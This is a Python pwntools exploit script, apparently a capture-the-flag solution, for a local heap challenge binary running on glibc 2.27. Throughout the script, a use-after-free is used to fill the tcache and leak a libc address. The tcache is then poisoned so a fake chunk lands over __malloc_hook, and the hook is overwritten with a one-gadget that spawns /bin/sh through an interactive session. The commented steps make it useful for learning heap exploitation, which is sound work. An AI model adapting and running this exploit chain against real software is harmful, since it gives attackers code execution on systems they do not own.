#!/usr/bin/env python

from pwn import *

def add_data(index, size, data, attack=False):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Enter the index:\n', str(index))
    p.sendlineafter('Enter the size:\n', str(size))
    if attack:
        return
    p.sendafter('Enter data:\n', data)

def edit_data(index, data):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Enter the index:\n', str(index))
    p.sendafter('Please update the data:\n', data)

def remove_data(index):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('Enter the index:\n', str(index))

def view_data(index):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('Enter the index:\n', str(index))

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.27.so'})

    # data[0] => chunk_0 (0x111)
    add_data(0, 0x100, 'a' * 0x100)
    # data[1] => chunk_1 (0x111)
    add_data(1, 0x100, 'b' * 0x100)

    # remove chunk_1 7 times to fill the tcache bins for size 0x110
    # due to use-after-free, we can delete chunk_1 multiple times
    for i in range(7):
        remove_data(1)

    # this remove will put chunk_0 in the unsorted bin instead of tcache
    # because it's already filled
    remove_data(0)

    # using use-after-free (UAF) vulnerability, we can leak the libc address
    view_data(0)

    # here we can find the libc base using the leaked libc address
    p.recvuntil('Your data :')
    libc_addr = p.recvuntil('\n\n1)')[0:-4]
    libc_base = u64(libc_addr + '\x00' * (8 - len(libc_addr))) - 0x3ebca0
    print 'libc base: {}'.format(hex(libc_base))

    # data[2] => chunk_2 (0x71)
    # we need this chunk with size 0x71 in order to launch tcache_poisoning
    add_data(2, 0x68, 'c' * 0x68)
    # this puts fake chunk address in the tcache bin
    remove_data(2)

    # we can create a fake chunk before __malloc_hook with size of 0x7f
    malloc_hook = libc_base + 0x3ebc30
    fake_chunk = malloc_hook - 0x13
    print 'fake chunk: {}'.format(hex(fake_chunk))

    # using use-after-free (UAF) vulnerability, we can populate chunk_2's fd
    # with the address of fake chunk
    edit_data(2, p64(fake_chunk) + '\n')

    # data[3] => chunk_2 (0x71)
    # this allocation returns the chunk_2 which is the head of tcache bin
    # it also puts our fake chunk as the head of the tcache bin
    add_data(3, 0x68, 'd' * 0x68)

    '''
    0x10a38c execve("/bin/sh", rsp+0x70, environ)
    constraints:
        [rsp+0x70] == NULL
    '''
    # data[4] => fake_chunk (0x7f)
    # this allocation serves our fake chunk from tcache bin
    # we then overwrite __malloc_hook with one gadget
    add_data(4, 0x68, 'e' * 0x13 + p64(libc_base + 0x10a38c) + '\n')

    # this allocation will trigger __malloc_hook, which gives us shell
    add_data(5, 0, '', True)

    p.interactive()

